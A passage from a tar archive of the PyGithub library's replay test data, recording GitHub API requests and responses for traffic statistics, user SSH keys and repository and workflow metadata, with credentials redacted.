ufro/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jkufro/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jkufro/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jkufro/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jkufro/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jkufro/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/jkufro/PyGithub/deployments","created_at":"2018-11-27T19:00:09Z","updated_at":"2018-11-27T19:00:14Z","pushed_at":"2018-12-02T17:41:01Z","git_url":"git://github.com/jkufro/PyGithub.git","ssh_url":"git@github.com:jkufro/PyGithub.git","clone_url":"https://github.com/jkufro/PyGithub.git","svn_url":"https://github.com/jkufro/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11767,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-12-01T07:01:06Z","pushed_at":"2018-12-02T11:35:58Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11536,"stargazers_count":2232,"watchers_count":2232,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":757,"mirror_url":null,"archived":false,"open_issues_count":57,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":757,"open_issues":57,"watchers":2232,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-12-01T07:01:06Z","pushed_at":"2018-12-02T11:35:58Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11536,"stargazers_count":2232,"watchers_count":2232,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":757,"mirror_url":null,"archived":false,"open_issues_count":57,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":757,"open_issues":57,"watchers":2232,"default_branch":"master"},"network_count":757,"subscribers_count":3} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Traffic.testGetClones.txt0000644000175100001660000000262414756101563023063 0ustar00runnerdockerhttps GET api.github.com None /repos/jkufro/PyGithub/traffic/clones {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 02 Dec 2018 17:25:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1543775101'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"99f62fd904c91505ef4f1f8b89d22c08"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F408:56B2:D8A13F:1E6EC1B:5C041580')] {"count":4,"uniques":4,"clones":[{"timestamp":"2018-11-27T00:00:00Z","count":4,"uniques":4}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Traffic.testGetPaths.txt0000644000175100001660000000514614756101563022721 0ustar00runnerdockerhttps GET api.github.com None /repos/jkufro/PyGithub/traffic/popular/paths {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 02 Dec 2018 18:37:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1543779296'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"b886e79ff0cee5a1b67a5efa00b3ca0f"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F7B9:56B2:DB4511:1ECCC1B:5C042678')] [{"path":"/jkufro/PyGithub","title":"jkufro/PyGithub: Typed interactions with the GitHub API v3","count":23,"uniques":4},{"path":"/jkufro/PyGithub/tree/traffic_endpoints","title":"jkufro/PyGithub at traffic_endpoints","count":13,"uniques":4},{"path":"/jkufro/PyGithub/blob/master/github/Repository.py","title":"PyGithub/Repository.py at master jkufro/PyGithub","count":6,"uniques":3},{"path":"/jkufro/PyGithub/branches","title":"Branches jkufro/PyGithub","count":6,"uniques":1},{"path":"/jkufro/PyGithub/commits/traffic_endpoints","title":"Commits jkufro/PyGithub","count":4,"uniques":2},{"path":"/jkufro/PyGithub/tree/traffic_endpoints/github","title":"PyGithub/github at traffic_endpoints jkufro/PyGithub","count":4,"uniques":2},{"path":"/jkufro/PyGithub/commit/f309070d99a58336a577bf7c88c49773fe3f16a2","title":"better pep8 compliance and delted unused Traffic.py file jkufro/PyGithub@f3...","count":3,"uniques":2},{"path":"/jkufro/PyGithub/commits","title":"Commits jkufro/PyGithub","count":3,"uniques":1},{"path":"/jkufro/PyGithub/commit/1fd7e391735715ad7f752e230a45eba891927e64","title":"made placeholder classes jkufro/PyGithub@1fd7e39","count":2,"uniques":1},{"path":"/jkufro/PyGithub/commit/5296fb83e0a8ab3fdcbc1b7a3a28beae4f8f38bb","title":"clone and view class jkufro/PyGithub@5296fb8","count":2,"uniques":1}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Traffic.testGetReferrers.txt0000644000175100001660000000256314756101563023601 0ustar00runnerdockerhttps GET api.github.com None /repos/jkufro/PyGithub/traffic/popular/referrers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 02 Dec 2018 17:25:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1543775101'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"033913cf8de0341149e2639c12d7a240"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F3F4:56B2:D89E29:1E6E41C:5C04156D')] [{"referrer":"github.com","count":5,"uniques":1}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Traffic.testGetViews.txt0000644000175100001660000000320114756101563022725 0ustar00runnerdockerhttps GET api.github.com None /repos/jkufro/PyGithub/traffic/views {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 02 Dec 2018 17:25:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1543775101'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"47961c20927a4d019bc73ee47bd8fe79"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F402:56B3:75FF23:12D1E43:5C04157B')] {"count":93,"uniques":4,"views":[{"timestamp":"2018-11-27T00:00:00Z","count":56,"uniques":4},{"timestamp":"2018-11-28T00:00:00Z","count":6,"uniques":2},{"timestamp":"2018-11-30T00:00:00Z","count":18,"uniques":1},{"timestamp":"2018-12-01T00:00:00Z","count":4,"uniques":1},{"timestamp":"2018-12-02T00:00:00Z","count":9,"uniques":3}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/UserKey.setUp.txt0000644000175100001660000000177614756101563021420 0ustar00runnerdockerhttps GET api.github.com None /user/keys/2626650 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('content-length', '505'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7261ec55c886d6bf42e48d5bf9544586"'), ('date', 'Sat, 26 May 2012 19:53:21 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/user/keys/2626650","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw==","created_at":"2024-12-23T12:34:56Z","read_only":true,"verified":true,"title":"Key added through PyGithub","id":2626650} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/UserKey.testDelete.txt0000644000175100001660000000061214756101563022406 0ustar00runnerdockerhttps DELETE api.github.com None /user/keys/2626650 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4977'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 19:58:16 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.setUp.txt0000644000175100001660000002175114756101563021636 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 30 Apr 2020 11:50:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '59'), ('X-RateLimit-Reset', '1588251013'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c913473c31e05fbce5ff335789f4ba5d"'), ('Last-Modified', 'Thu, 30 Apr 2020 11:35:51 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AAA6:1E7E:2D89A:34402:5EAABB75')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-04-30T11:35:51Z","pushed_at":"2020-04-29T03:27:15Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12694,"stargazers_count":3394,"watchers_count":3394,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1099,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":45,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1099,"open_issues":45,"watchers":3394,"default_branch":"master","temp_clone_token":null,"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1099,"subscribers_count":98} https GET api.github.com None /repos/PyGithub/PyGithub/actions/workflows/check.yml {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Thu, 30 Apr 2020 11:50:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '58'), ('X-RateLimit-Reset', '1588251013'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fed4afd3988c2fccd5909e64fb06dfc4"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 